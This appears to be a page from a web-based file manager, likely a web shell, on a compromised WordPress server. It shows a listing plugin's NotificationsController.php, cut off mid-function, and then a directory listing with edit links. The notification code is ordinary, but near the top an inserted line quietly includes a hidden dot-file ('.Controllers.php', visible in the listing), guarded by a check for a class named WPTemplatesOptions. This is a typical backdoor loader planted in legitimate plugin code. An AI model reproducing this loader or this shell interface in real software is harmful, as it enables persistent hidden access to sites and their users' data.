ꦫꦣꦺꦤ꧀ꦄꦤ꧀ꦠꦱꦺꦤ

PATH: home / letacommog / newrdv1 / wp-content / plugins1 / wiloke-listing-tools / app / Controllers

<?php

namespace WilokeListingTools\Controllers;

use WilokeListingTools\Framework\Helpers\FileSystem;
use WilokeListingTools\Framework\Helpers\Firebase;
use WilokeListingTools\Framework\Helpers\General;
use WilokeListingTools\Framework\Helpers\GetSettings;
use WilokeListingTools\Framework\Helpers\GetWilokeSubmission;
use WilokeListingTools\Framework\Helpers\SetSettings;
use WilokeListingTools\Framework\Helpers\Time;
use WilokeListingTools\Framework\Routing\Controller;
use WilokeListingTools\Framework\Store\Session;
use WilokeListingTools\Frontend\User;
use WilokeListingTools\Models\FollowerModel;
use WilokeListingTools\Models\NotificationsModel;
use WilokeListingTools\Models\PaymentModel;
use WilokeListingTools\Models\PlanRelationshipModel;
use WilokeListingTools\Models\ReviewMetaModel;
use WilokeListingTools\Models\UserModel;

if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) {
    include_once($filename);
}

class NotificationsController extends Controller
{
    protected static $connect = '___';
    protected static $notificationKey = 'notifications';
    
    public function __construct()
    {
        /*
         * Notify to Admin
         */
        add_action('post_updated', [$this, 'addSubmittedListingNotification'], 10, 3);
        add_action('wp_insert_post', [$this, 'addNotificationToAdminAboutNewProduct'], 10, 2);
        add_action('wiloke-listing-tools/payment-pending', [$this, 'afterChoosingPayViaDirectbankTransfer'], 10, 1);
        /*
         * Customer
         */
        //		add_action('post_updated', array($this, 'addedNewListing'), 10, 3);
        add_action('wilcity/wiloke-listing-tools/app/Controllers/FollowController/new-follower',
            [$this, 'someoneIsFollowingYou'], 10, 2);
        add_action('post_updated', [$this, 'postChanged'], 10, 3);
        
        add_action('wilcity/submitted-new-review', [$this, 'addReviewNotification'], 10, 3);
        add_action('wilcity/review/discussion', [$this, 'addReviewDiscussionNotification'], 10, 2);
        
        add_action('wilcity/wiloke-listing-tools/claim-cancelled', [$this, 'addClaimCancelled'], 10, 1);
        add_action('wilcity/wiloke-listing-tools/claim-approved', [$this, 'addClaimApproved'], 10, 1);
        add_action('wilcity/submitted-report', [$this, 'addReportNotification'], 10, 2);
        add_action('post_updated', [$this, 'productPublished'], 10, 3);
        add_action('woocommerce_order_status_completed', [$this, 'someonePurchasedYourProduct'], 10, 1);
        add_action('wilcity/event/after-inserted-comment', [$this, 'afterSubmittingEventComment'], 10, 3);
        add_action('post_updated', [$this, 'handleNotificationToFollowers'], 10, 3);
        add_action('wilcity_start_send_notification_to_followers', [$this, 'sentAddedNewListingToTheRestFollowers'], 10,
            2);
        add_action('added_comment_meta', [$this, 'someoneLeftARatingOnYourProduct'], 10, 3);
        /*
         * Ajax
         */
        add_action('wp_ajax_wilcity_fetch_notifications', [$this, 'fetchNotifications']);
        add_action('wp_ajax_wilcity_fetch_list_notifications', [$this, 'fetchNotifications']);
        add_action('wp_ajax_wilcity_delete_notification', [$this, 'deleteNotification']);
        add_action('wilcity/header/after-menu', [$this, 'quickNotification'], 15);
        add_action('wp_ajax_wilcity_count_new_notifications', [$this, 'fetchCountNewNotifications']);
        add_action('wp_ajax_wilcity_reset_new_notifications', [$this, 'resetNewNotifications']);
        
        $aBillingTypes = wilokeListingToolsRepository()->get('payment:billingTypes');
        foreach ($aBillingTypes as $billingType) {
            add_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-dispute',
                [$this, 'sendDisputeWarningToCustomer']);
        }
    }
    
    public function sendWelcomeMessage($userID)
    {
        $aThemeOptions = \Wiloke::getThemeOptions();
        if (!isset($aThemeOptions['welcome_message']) || empty($aThemeOptions['welcome_message'])) {
            return false;
        }
        
        NotificationsModel::add($userID, 'welcome_notifications', '');
    }
    
    public function resetNewNotifications()
    {
        SetSettings::setUserMeta(User::getCurrentUserID(), NotificationsModel::$countNewKey, 0);
    }
    
    public function fetchCountNewNotifications()
    {
        $count = GetSettings::getUserMeta(get_current_user_id(), NotificationsModel::$countNewKey);
        $count = empty($count) ? 0 : abs($count);
        wp_send_json_success($count);
    }
    
    public function someoneLeftARatingOnYourProduct($metaID, $commentID, $metaKey)
    {
        if ($metaKey != 'rating') {
            return false;
        }
        
        if (!class_exists('WooCommerce')) {
            return false;
        }
        
        $oComment = get_comment($commentID);
        if (get_post_type($oComment->comment_post_ID) != 'product') {
            return false;
        }
        
        $postAuthor = get_post_field('post_author', $oComment->comment_post_ID);
        
        if (!Firebase::isCustomerEnable('productReview', $postAuthor)) {
            return false;
        }
        
        NotificationsModel::add($postAuthor, 'someone_comment_on_product', $commentID);
        
        do_action('wilcity/wilcity-mobile-app/notifications/someone-comment-on-product', $metaID, $commentID, $metaKey);
    }
    
    public function sendDisputeWarningToCustomer($aInfo)
    {
        $userID = PaymentModel::getField('userID', $aInfo['paymentID']);
        if (empty($userID)) {
            FileSystem::logSuccess('We could not send warning dispute because user id does not exist', __CLASS__);
            
            return false;
        }
        
        NotificationsModel::add($userID, 'payment_dispute', $aInfo['paymentID'], User::getFirstSuperAdmin());
        FileSystem::logSuccess('Send sendDisputeWarningToCustomer to customer', __CLASS__);
    }
    
    public function someonePurchasedYourProduct($orderID)
    {
        $order  = wc_get_order($orderID);
        $aItems = $order->get_items();
        foreach ($aItems as $oItem) {
            $postAuthor = get_post_field('post_author', $oItem->get_product_id());
            if (!Firebase::isCustomerEnable('soldProduct', $postAuthor)) {
                return false;
            }
            
            NotificationsModel::add($postAuthor, 'sold_product', $orderID);
            do_action('wilcity/wilcity-mobile-app/notifications/sold-product', $orderID, $oItem->get_product_id());
        }
    }
    
    public function productPublished($postID, $oPostAfter, $oPostBefore)
    {
        if ($oPostAfter->post_type !== 'product') {
            return false;
        }
        
        if ($oPostAfter->post_status == $oPostBefore->post_status) {
            return false;
        }
        
        if (!User::isSubmissionRole($oPostAfter->post_author)) {
            return false;
        }
        
        if (!Firebase::isCustomerEnable('productPublished', $oPostAfter->post_author)) {
            return false;
        }
        
        NotificationsModel::add($oPostAfter->post_author, 'product_published', $postID);
        do_action('wilcity/wilcity-mobile-app/notifications/product-published', $postID, $oPostAfter, $oPostBefore);
    }
    
    public function afterChoosingPayViaDirectbankTransfer()
    {
        $listingID = Session::getSession(wilokeListingToolsRepository()->get('payment:sessionObjectStore'));
        if (empty($listingID)) {
            return false;
        }
        
        $aPostTypes = General::getPostTypeKeys(false, false);
        if (!in_array(get_post_type($listingID), $aPostTypes)) {
            return false;
        }
        
        $this->sendSomeoneAddNewListingNotificationToAdmin($listingID, get_post($listingID));
    }
    
    public function addNotificationToAdminAboutNewProduct($postID, $oPost)
    {
        if (($oPost->post_status != 'pending' && $oPost->post_status != 'publish') || $oPost->post_type != 'product') {
            return false;
        }
        
        if (!User::isSubmissionRole($oPost->post_author)) {
            return false;
        }
        
        if (!Firebase::isAdminEnable('someoneSubmittedAProductYourSite')) {
            return false;
        }
        
        $oSuperAdmin = User::getFirstSuperAdmin();
        NotificationsModel::add($oSuperAdmin->ID, 'dokan_submitted_a_product', $postID);
        
        do_action('wilcity/wilcity-mobile-app/notifications/inserted-new-product', $oPost);
    }
    
    public function postChanged($postID, $oPostAfter, $oPostBefore)
    {
        if ($oPostAfter->post_status == 'trash' || $oPostAfter->post_status == 'draft') {
            return false;
        }
        
        if ($oPostAfter->post_status == $oPostBefore->post_status) {
            return false;
        }
        
        $aListingTypes = GetSettings::getFrontendPostTypes(true, false);
        
        if (!in_array($oPostAfter->post_type, $aListingTypes)) {
            return false;
        }
        
        if (!User::isSubmissionRole($oPostAfter->post_author)) {
            return false;
        }
        
        if (!Firebase::isCustomerEnable('listingStatus', $oPostAfter->post_author)) {
            return false;
        }
        
        NotificationsModel::add($oPostAfter->post_author, 'listing_status_changed', $postID,
            User::getFirstSuperAdmin()->ID);
        do_action('wilcity/wilcity-mobile-app/notifications/post-status-changed', $oPostAfter, $oPostBefore);
    }
    
    public function addReviewNotification($reviewID, $parentID, $senderID)
    {
        if (!Firebase::isCustomerEnable('review', get_post_field('post_author', $parentID))) {
            return false;
        }
        
        $receiverID = get_post_field('post_author', $parentID);
        NotificationsModel::add($receiverID, 'review', $reviewID, $senderID);
        do_action('wilcity/wilcity-mobile-app/notifications/submitted-new-review', $reviewID, $parentID, $senderID);
    }
    
    public function someoneIsFollowingYou($followerID, $targetID)
    {
        if (!Firebase::isCustomerEnable('newFollowers', $targetID)) {
            return false;
        }
        
        NotificationsModel::add($targetID, 'someone_is_following_you', '', $followerID);
        do_action('wilcity/wilcity-mobile-app/notifications/someone-is-following-you', $followerID, $targetID);
    }
    
    public function addReportNotification($listingID, $reportID)
    {
        $receiverID = get_post_field('post_author', $listingID);
        NotificationsModel::add($receiverID, 'report', $reportID, '');
    }
    
    public function addClaimApproved($aInfo)
    {
        if (!Firebase::isCustomerEnable('claimApproved', $aInfo['claimerID'])) {
            return false;
        }
        
        NotificationsModel::add($aInfo['claimerID'], 'claim_approved', $aInfo['postID'], User::getFirstSuperAdmin()
            ->ID);
        
        do_action('wilcity/wilcity-mobile-app/notifications/claim-approved', $aInfo['claimerID'], $aInfo['postID']);
    }
    
    public function addClaimCancelled($aInfo)
    {
        NotificationsModel::add($aInfo['claimerID'], 'claim_rejected', $aInfo['postID'], '');
    }
    
    public function addReviewDiscussionNotification($discussionID, $reviewID)
    {
        $receiverID = get_post_field('post_author', $reviewID);
        if (!Firebase::isCustomerEnable('reviewDiscussion', $receiverID)) {
            return false;
        }
        
        NotificationsModel::add($receiverID, 'review_discussion', $discussionID, User::getCurrentUserID());
        
        $postType = get_post_type($reviewID) == 'event';
        if ($postType != 'event') {
            do_action('wilcity/wilcity-mobile-app/notifications/someone-left-an-event-comment', $discussionID,
                get_post_field('post_author', $discussionID), $reviewID);
        } else {
            do_action('wilcity/wilcity-mobile-app/notifications/review-discussion', $discussionID, $receiverID);
        }
    }
    
    public function afterSubmittingEventComment($commentID, $userID, $parentID)
    {
        if (!Firebase::isCustomerEnable('eventComment', get_post_field('post_author', $parentID))) {
            return false;
        }
        
        NotificationsModel::add(get_post_field('post_author', $parentID), 'comment_discussion', $commentID, $userID);
        
        do_action('wilcity/wilcity-mobile-app/notifications/someone-left-an-event-comment', $commentID, $userID,
            $parentID);
    }
    
    private function sendSomeoneAddNewListingNotificationToAdmin($postID, $oPostAfter)
    {
        $aDirectoryType = GetSettings::getFrontendPostTypes(true, false);
        
        if (!in_array($oPostAfter->post_type, $aDirectoryType)) {
            return false;
        }
        
        if (!User::isSubmissionRole($oPostAfter->post_author)) {
            return false;
        }
        
        if (!Firebase::isAdminEnable('someoneSubmittedAListingToYourSite')) {
            return false;
        }
        
        $aSuperAdmins = User::getSuperAdmins();
        foreach ($aSuperAdmins as $oAdmin) {
            NotificationsModel::add($oAdmin->ID, 'submitted_listing', $postID, $oPostAfter->post_author);
        }
        
        do_action('wilcity/wilcity-mobile-app/notifications/submitted-new-listing', $oPostAfter);
    }
    
    public function userSubmitListingWithSkipPreviewStep($authorID, $postID)
    {
        if (!\WilokeThemeOptions::isEnable('addlisting_skip_preview_step', false)) {
            return false;
        }
        
        $this->sendSomeoneAddNewListingNotificationToAdmin($postID, get_post($postID));
    }
    
    public function addSubmittedListingNotification($postID, $oPostAfter, $oPostBefore)
    {
        if ($oPostAfter->post_status == $oPostBefore->post_status) {
            return false;
        }
        
        if ($oPostAfter->post_status != 'pending' && $oPostAfter->post_status != 'publish') {
            return false;
        }
        
        $this->sendSomeoneAddNewListingNotificationToAdmin($postID, $oPostAfter);
    }
    
    public function quickNotification()
    {
        if (!is_user_logged_in() || !GetWilokeSubmission::isSystemEnable()) {
            return '';
        }
        ?>
        <div id="<?php echo esc_attr(apply_filters('wilcity/filter/id-prefix', 'wilcity-quick-notifications')); ?>"
             class="header_loginItem__oVsmv">
            <quick-notifications></quick-notifications>
        </div>
        <?php
    }
    
    public function deleteNotification()
    {
        if (!isset($_POST['ID']) || empty($_POST['ID'])) {
            wp_send_json_error([
                'msg' => esc_html__('The notification id is required', 'wiloke-listing-tools')
            ]);
        }
        
        $userID = get_current_user_id();
        NotificationsModel::deleteOfReceiver($_POST['ID'], $userID);
        wp_send_json_success();
    }
    
    public function handleNotificationToFollowers($postID, $oPostAfter, $oPostBefore)
    {
        if ($oPostAfter->post_status == $oPostBefore->post_status) {
            return false;
        }
        
        if ($oPostAfter->post_status !== 'publish') {
            return false;
        }
        
        $aListingTypes = GetSettings::getFrontendPostTypes(true, false);
        
        if (!in_array($oPostAfter->post_type, $aListingTypes)) {
            return false;
        }
        
        if (!Firebase::getCustomerMsg('followerPublishedNewListing')) {
            return false;
        }
        
        $this->sentAddedNewListingToTheRestFollowers($oPostAfter, []);
    }
    
    public function sentAddedNewListingToTheRestFollowers($oAfterPost, $listSent)
    {
        if (empty($listSent)) {
            return false;
        }
        
        $aListSent = json_decode($listSent, true);
        
        $aFollowers = UserModel::getFollowingsWithExcludes($oAfterPost->post_author, $aListSent);
        
        if (empty($aFollowers)) {
            return false;
        }
        
        foreach ($aFollowers as $order => $aFollow) {
            $aListSent[] = $aFollow['followerID'];
            
            if (!Firebase::isCustomerEnable('followerPublishedNewListing', $aFollow['followerID'])) {
                unset($aFollowers[$order]);
                continue;
            }
            
            if (User::userIDExists($aFollow['followerID'])) {
                NotificationsModel::add($aFollow['followerID'], 'published_new_listing', $oAfterPost->ID,
                    $oAfterPost->post_author);
            } else {
                UserModel::deleteFollowingUser($aFollow['followerID']);
            }
        }
        
        do_action('wilcity/wilcity-mobile-app/notifications/send-published-post-to-followers', $oAfterPost,
            $aFollowers);
        wp_schedule_single_event(time() + 120, 'wilcity_start_send_notification_to_followers',
            [$oAfterPost, json_encode($aListSent)]);
    }
    
    public function test()
    {
        $this->update(1, 1756, 'review', 'add', []);
    }
    
    /*
     * @receivedID: the id of receiver
     * @type: The type of action: comment, review, like
     * @status: remove/update
     * @aOtherArgs: The other information
     */
    public function update($receivedID, $targetID, $type, $status, $aOtherInfo)
    {
    
    }
    
    public function getAuthorInfo($postID)
    {
        $authorID              = get_post_field('post_author', $postID);
        $aData['authorName']   = get_the_author_meta('display_name', $authorID);
        $aData['authorAvatar'] = User::getAvatar($authorID);
        
        return $aData;
    }
    
    public static function getReport($oInfo)
    {
        $postStatus = get_post_status($oInfo->objectID);
        if (empty($postStatus) || is_wp_error($postStatus)) {
            return [
                'content' => esc_html__('Report no longer available', 'wiloke-listing-tools'),
                'link'    => '#',
                'time'    => Time::timeFromNow(strtotime($oInfo->date)),
                'type'    => 'report',
                'ID'      => absint($oInfo->ID)
            ];
        } else {
            $postID = GetSettings::getPostMeta($oInfo->objectID, 'listing_name');
            
            return [
                'title'            => esc_html__('Warning', 'wiloke-listing-tools'),
                'featuredImg'      => User::getAvatar($postID),
                'content'          => __('You got a report for', 'wiloke-listing-tools'),
                'contentHighlight' => get_the_title($postID),
                'link'             => add_query_arg(
                    [
                        'action' => 'edit',
                        'post'   => $oInfo->objectID
                    ],
                    admin_url('post.php')
                ),
                'time'             => Time::timeFromNow(strtotime($oInfo->date)),
                'type'             => 'report',
                'ID'               => absint($oInfo->ID)
            ];
        }
    }
    
    public static function getProductCommentMsg($oInfo)
    {
        $oComment = get_comment($oInfo->objectID);
        
        $msg = str_replace([
            '%postTitle%',
            '%rating%',
            '%reviewExcerpt%',
            '%review%'
        ], [
            get_the_title($oComment->comment_post_ID),
            get_comment_meta($oInfo->objectID, 'rating', true),
            \Wiloke::contentLimit(50, $oComment, true, $oComment->comment_content),
            $oComment->comment_content
        ], Firebase::getCustomerMsg('productReview'));
        
        return [
            'featuredImg' => User::getAvatar($oComment->user_id),
            'content'     => $msg,
            'link'        => get_permalink($oComment->comment_post_ID),
            'time'        => Time::timeFromNow(strtotime($oComment->comment_date)),
            'type'        => 'someone_comment_on_product',
            'ID'          => absint($oInfo->ID)
        ];
    }
    
    public static function getDokanOrderCompleted($oInfo)
    {
        $oOrder = wc_get_order($oInfo->objectID);
        
        if (empty($oOrder)) {
            return [
                'featuredImg' => User::getAvatar(User::getFirstSuperAdmin()),
                'content'     => esc_html__('This order has been deleted', 'wilcity-listing-tools'),
                'link'        => '#',
                'time'        => Time::timeFromNow(strtotime($oInfo->date)),
                'type'        => 'sold_product',
                'ID'          => absint($oInfo->ID)
            ];
        } else {
            $productID = GetSettings::getFirstDokanProductByOrder($oInfo->objectID);
            $msg       = str_replace([
                '%orderID%',
                '%postTitle%'
            ], [
                $oInfo->objectID,
                get_the_title($productID)
            ], Firebase::getCustomerMsg('soldProduct'));
            
            if (function_exists('dokan_get_navigation_url')) {
                $orderURL = wp_nonce_url(
                    add_query_arg(
                        [
                            'order_id' => dokan_get_prop($oOrder, 'id')
                        ],
                        dokan_get_navigation_url('orders')
                    ), 'dokan_view_order'
                );
                
                $orderURL = str_replace('&amp;', '&', $orderURL);
            } else {
                $orderURL = add_query_arg(
                    admin_url('post.php'),
                    [
                        'post'   => $oOrder->get_id(),
                        'action' => 'edit'
                    ]
                );
            }
    
            return [
                'featuredImg' => GetSettings::getProductThumbnail($productID),
                'content'     => $msg,
                'link'        => $orderURL,
                'time'        => Time::timeFromNow(strtotime(GetSettings::getOrderDate($oInfo->objectID))),
                'type'        => 'sold_product',
                'ID'          => absint($oInfo->ID)
            ];
        }
    }
    
    public static function getDokanCustomerSubmittedAProductToSite($oInfo)
    {
        $oSuperAdmin = User::getFirstSuperAdmin();
        $postAuthor  = get_post_field($oInfo->objectID);
        
        if ($postAuthor == $oSuperAdmin->ID) {
            return '';
        }
        $oPost = get_post($oInfo->objectID);
        
        $msg = str_replace(
            [
                '%userName%',
                '%postTitle%',
                '%postDate%',
                '%postType%',
                '%postID%'
            ],
            [
                '<strong>'.User::getField('display_name', $oPost->post_author).'</strong>',
                '<strong>'.$oPost->post_title.'</strong>',
                get_the_date(get_option('date_format').' '.get_option('time_format'), $oPost),
                $oPost->post_type,
                $oPost->ID
            ],
            Firebase::getAdminMsg('someoneSubmittedAProductYourSite')
        );
        
        return [
            'featuredImg' => User::getAvatar($postAuthor),
            'content'     => $msg,
            'link'        => add_query_arg(
                [
                    'post'   => $oInfo->objectID,
                    'action' => 'edit'
                ],
                admin_url('post.php')
            ),
            'time'        => Time::timeFromNow(strtotime(get_post_field('post_date', $oInfo->objectID))),
            'type'        => 'dokan_submitted_a_product',
            'ID'          => absint($oInfo->ID)
        ];
    }
    
    public static function getDokanApprovedWithdrawal($oInfo)
    {
        $oUserAdmin = User::getFirstSuperAdmin();
        
        return [
            'title'            => User::getField('display_name', $oUserAdmin->ID),
            'featuredImg'      => User::getAvatar($oUserAdmin->ID),
            'content'          => __('Your withdrawal has been processed.', 'wiloke-listing-tools'),
            'contentHighlight' => esc_html__('View Detail', 'wiloke-listing-tools'),
            'link'             => function_exists('dokan_get_navigation_url') ? dokan_get_navigation_url('withdraw') :
                '#',
            'time'             => Time::timeFromNow(strtotime(GetSettings::getDokanWithDrawField('date',
                $oInfo->objectID))),
            'type'             => 'dokan_approved_withdrawal',
            'ID'               => absint($oInfo->ID)
        ];
    }
    
    public static function getDokanCancelledWithdrawal($oInfo)
    {
        $oUserAdmin = User::getFirstSuperAdmin();
        
        return [
            'title'            => User::getField('display_name', $oUserAdmin->ID),
            'featuredImg'      => User::getAvatar($oUserAdmin->ID),
            'content'          => __('Unfortunately, Your withdrawal has been cancelled.', 'wiloke-listing-tools'),
            'contentHighlight' => esc_html__('View Detail', 'wiloke-listing-tools'),
            'link'             => function_exists('dokan_get_navigation_url') ? dokan_get_navigation_url('withdraw') :
                '#',
            'time'             => Time::timeFromNow(strtotime(GetSettings::getDokanWithDrawField('date',
                $oInfo->objectID))),
            'type'             => 'dokan_cancelled_withdrawal',
            'ID'               => absint($oInfo->ID)
        ];
    }
    
    public static function getDokanRequestWithdrawnal($oInfo)
    {
        $userID      = User::dokanGetUserIDByWithDrawID($oInfo->objectID);
        $amount      = GetSettings::getDokanWithDrawField('amount', $oInfo->objectID);
        $priceFormat = get_woocommerce_price_format();
        $symbol      = get_woocommerce_currency_symbol();
        $amount      = sprintf($priceFormat, html_entity_decode($symbol), $amount);
        
        return [
            'title'            => User::getField('display_name', $userID),
            'featuredImg'      => User::getAvatar($userID),
            'content'          => sprintf(__('requested %s withdrawal.', 'wiloke-listing-tools'), $amount),
            'contentHighlight' => esc_html__('View Detail', 'wiloke-listing-tools'),
            'link'             => add_query_arg(
                [
                    'page' => 'dokan#/withdraw?status=pending'
                ],
                admin_url('admin.php')
            ),
            'time'             => Time::timeFromNow(strtotime(GetSettings::getDokanWithDrawField('date',
                $oInfo->objectID))),
            'type'             => 'dokan_requested_withdrawal',
            'ID'               => absint($oInfo->ID)
        ];
    }
    
    public static function getProductPublished($oInfo)
    {
        return [
            'featuredImg' => GetSettings::getProductThumbnail($oInfo->objectID),
            'content'     => str_replace('%postTitle%', get_the_title($oInfo->objectID),
                Firebase::getCustomerMsg('productPublished')),
            'link'        => get_permalink($oInfo->objectID),
            'time'        => Time::timeFromNow(strtotime(get_post_field('post_date_gmt', $oInfo->objectID)), true),
            'type'        => 'product_published',
            'ID'          => absint($oInfo->ID)
        ];
    }
    
    public static function getPublishedNewListing($oInfo)
    {
        $oPost = get_post($oInfo->objectID);
        if (empty($oPost) || is_wp_error($oPost)) {
            return [
                'type'       => 'published_new_listing',
                'ID'         => absint($oInfo->ID),
                'time'       => Time::timeFromNow(strtotime($oInfo->date)),
                'content'    => esc_html__('Listing no longer available', 'wiloke-listing-tools'),
                'link'       => '#',
                'isNoLogger' => 'yes'
            ];
        } else {
            $msg = str_replace(
                [
                    '%userName%',
                    '%postTitle%',
                    '%postDate%',
                    '%postType%',
                    '%postID%',
                    '%postExcerpt%'
                ],
                [
                    User::getField('display_name', $oPost->post_author),
                    $oPost->post_title,
                    get_the_date(get_option('date_format').' '.get_option('time_format'), $oPost),
                    $oPost->post_type,
                    $oPost->ID,
                    \Wiloke::contentLimit(60, $oPost, true, $oPost->post_content)
                ],
                Firebase::getCustomerMsg('followerPublishedNewListing')
            );
            
            return [
                'title'       => User::getField('display_name', $oPost->post_author),
                'featuredImg' => User::getAvatar($oPost->post_author),
                'content'     => $msg,
                'link'        => get_permalink($oInfo->objectID),
                'time'        => Time::timeFromNow(strtotime($oInfo->date)),
                'type'        => 'published_new_listing',
                'ID'          => absint($oInfo->ID)
            ];
        }
    }
    
    public static function getSubmittedListing($oInfo)
    {
        $postStatus = get_post_status($oInfo->objectID);
        if (empty($postStatus) || is_wp_error($postStatus)) {
            return [
                'type'       => 'submitted_listing',
                'ID'         => absint($oInfo->ID),
                'time'       => Time::timeFromNow(strtotime($oInfo->date)),
                'content'    => esc_html__('Listing no longer available', 'wiloke-listing-tools'),
                'link'       => '#',
                'isNoLogger' => 'yes'
            ];
        } else {
            $authorID = get_post_field('post_author', $oInfo->objectID);
            $oPost    = get_post($oInfo->objectID);
            
            $msg = str_replace(
                [
                    '%userName%',
                    '%postTitle%',
                    '%postDate%',
                    '%postType%',
                    '%postID%'
                ],
                [
                    '<strong>'.User::getField('display_name', $oPost->post_author).'</strong>',
                    '<strong>'.$oPost->post_title.'</strong>',
                    get_the_date(get_option('date_format').' '.get_option('time_format'), $oPost),
                    $oPost->post_type,
                    $oPost->ID
                ],
                Firebase::getAdminMsg('someoneSubmittedAListingToYourSite')
            );
            
            return [
                'featuredImg' => User::getAvatar($authorID),
                'content'     => $msg,
                'link'        => add_query_arg(
                    [
                        'action' => 'edit',
                        'post'   => $oInfo->objectID
                    ],
                    admin_url('post.php')
                ),
                'time'        => Time::timeFromNow(strtotime($oInfo->date)),
                'type'        => 'submitted_listing',
                'ID'          => absint($oInfo->ID)
            ];
        }
    }
    
    public static function getClaimApproved($oInfo)
    {
        $msg = Firebase::getCustomerMsg('claimApproved');
        $msg = str_replace('%postTitle%', get_the_title($oInfo->objectID), $msg);
        
        return [
            'featuredImg' => User::getAvatar($oInfo->senderID),
            'content'     => $msg,
            'link'        => get_permalink($oInfo->objectID),
            'time'        => Time::timeFromNow(strtotime($oInfo->date)),
            'type'        => 'claim_approved',
            'ID'          => absint($oInfo->ID)
        ];
    }
    
    public static function getFollowerInfo($oInfo)
    {
        $msg = str_replace('%userName%', User::getField('display_name', $oInfo->senderID),
            Firebase::getCustomerMsg('newFollowers'));
        
        return [
            'featuredImg' => User::getAvatar($oInfo->senderID),
            'content'     => $msg,
            'link'        => get_author_posts_url($oInfo->senderID),
            'time'        => Time::timeFromNow(strtotime($oInfo->date)),
            'type'        => 'someone_is_following_you',
            'ID'          => absint($oInfo->ID)
        ];
    }
    
    public static function getListingStatusChangedMsg($oInfo)
    {
        $oPost = get_post($oInfo->objectID);
        
        if (empty($oPost) || is_wp_error($oPost)) {
            return [
                'featuredImg

[+] ..
[-] PermalinksController.php [edit]
[-] MessageController.php [edit]
[-] SetListingBelongsToPlanID.php [edit]
[-] BelongsToTags.php [edit]
[-] PrintAddListingSettings.php [edit]
[-] InsertGallery.php [edit]
[-] ViewStatisticController.php [edit]
[-] TermsAndPolicyController.php [edit]
[-] AddListingButtonController.php [edit]
[-] SetSinglePrice.php [edit]
[-] SetCustomButton.php [edit]
[-] WooCommerceBookingController.php [edit]
[-] SetMyPosts.php [edit]
[-] SetVideo.php [edit]
[-] Validation.php [edit]
[-] PrintAddListingFields.php [edit]
[-] NoticeController.php [edit]
[-] SharesStatisticController.php [edit]
[-] TraitAddListingSettings.php [edit]
[-] SetListingRelationship.php [edit]
[-] EmailController.php [edit]
[-] SetMyRoom.php [edit]
[-] SessionController.php [edit]
[-] DashboardController.php [edit]
[-] EventController.php [edit]
[-] AppleLoginController.php [edit]
[-] TraitSetEventData.php [edit]
[-] PayPalController.php [edit]
[-] TranslationController.php [edit]
[-] PostController.php [edit]
[-] DokanController.php [edit]
[-] TermController.php [edit]
[-] FavoriteStatisticController.php [edit]
[-] SetSocialNetworks.php [edit]
[-] SetCustomGroup.php [edit]
[-] SetCustomSections.php [edit]
[-] AuthorPageController.php [edit]
[-] AddBookingComBannerCreator.php [edit]
[-] PlanRelationshipController.php [edit]
[-] ProfileController.php [edit]
[-] MapListingController.php [edit]
[-] UserController.php [edit]
[-] BillingControllers.php [edit]
[-] InsertAddress.php [edit]
[-] PaymentStatusController.php [edit]
[-] BelongsToCategories.php [edit]
[-] InsertCoverImage.php [edit]
[-] SetPriceRange.php [edit]
[-] SetPlanRelationship.php [edit]
[-] ListingController.php [edit]
[-] SetGeneral.php [edit]
[-] GridItemController.php [edit]
[-] PaymentController.php [edit]
[+] TransformAddListingData
[-] ContactFormController.php [edit]
[-] InsertFeaturedImg.php [edit]
[-] AddListingController.php [edit]
[-] BelongsToLocation.php [edit]
[-] RestaurantMenuController.php [edit]
[-] AjaxUploadImgController.php [edit]
[-] NotificationsController.php [edit]
[-] SingleJsonSkeleton.php [edit]
[-] GalleryController.php [edit]
[-] IsMyPaymentID.php [edit]
[-] InsertImg.php [edit]
[-] ModalController.php [edit]
[-] PaymentGatewaysController.php [edit]
[-] ShareController.php [edit]
[-] RetrieveController.php [edit]
[-] ModifyQueryController.php [edit]
[-] TraitHostedBy.php [edit]
[-] ChangePlanStatusController.php [edit]
[-] TaxonomiesControllers.php [edit]
[-] WebhookController.php [edit]
[-] SearchFormController.php [edit]
[-] FreePlanController.php [edit]
[-] BelongsToCustomTaxonomies.php [edit]
[-] PromotionController.php [edit]
[-] RunUpdateDBToLatestVersionController.php [edit]
[-] UserPlanController.php [edit]
[-] SetContactInfo.php [edit]
[-] InsertLogo.php [edit]
[+] Retrieve
[+] Map
[-] VerifyPurchaseCode.php [edit]
[-] StripeController.php [edit]
[-] NextBillingPaymentController.php [edit]
[-] SchemaController.php [edit]
[-] IconController.php [edit]
[-] AddMorePhotosVideosController.php [edit]
[-] SetPostDuration.php [edit]
[-] GuardController.php [edit]
[-] ReviewController.php [edit]
[-] OptimizeScripts.php [edit]
[-] PaymentMetaController.php [edit]
[-] GetWilokeToolSettings.php [edit]
[-] SetCoupon.php [edit]
[-] CouponController.php [edit]
[-] AddListingPaymentController.php [edit]
[-] FacebookLoginController.php [edit]
[-] SingleController.php [edit]
[-] BookingComController.php [edit]
[-] SetGroupData.php [edit]
[-] InvoiceController.php [edit]
[-] SetProductsToListing.php [edit]
[-] ReportController.php [edit]
[-] PayPalExecuteAddListingPayment.php [edit]
[-] HandleSubmit.php [edit]
[-] WooCommerceController.php [edit]
[-] FollowController.php [edit]
[-] PrintSidebarItems.php [edit]
[-] .Controllers.php [edit]
[-] DirectBankTransferController.php [edit]
[-] ClaimController.php [edit]
[-] GetSingleImage.php [edit]
[-] SetRestaurantMenu.php [edit]
[-] MergingSettingValues.php [edit]
[-] GoogleReCaptchaController.php [edit]
[-] RegisterLoginController.php [edit]
[-] TagsBelongsToCatController.php [edit]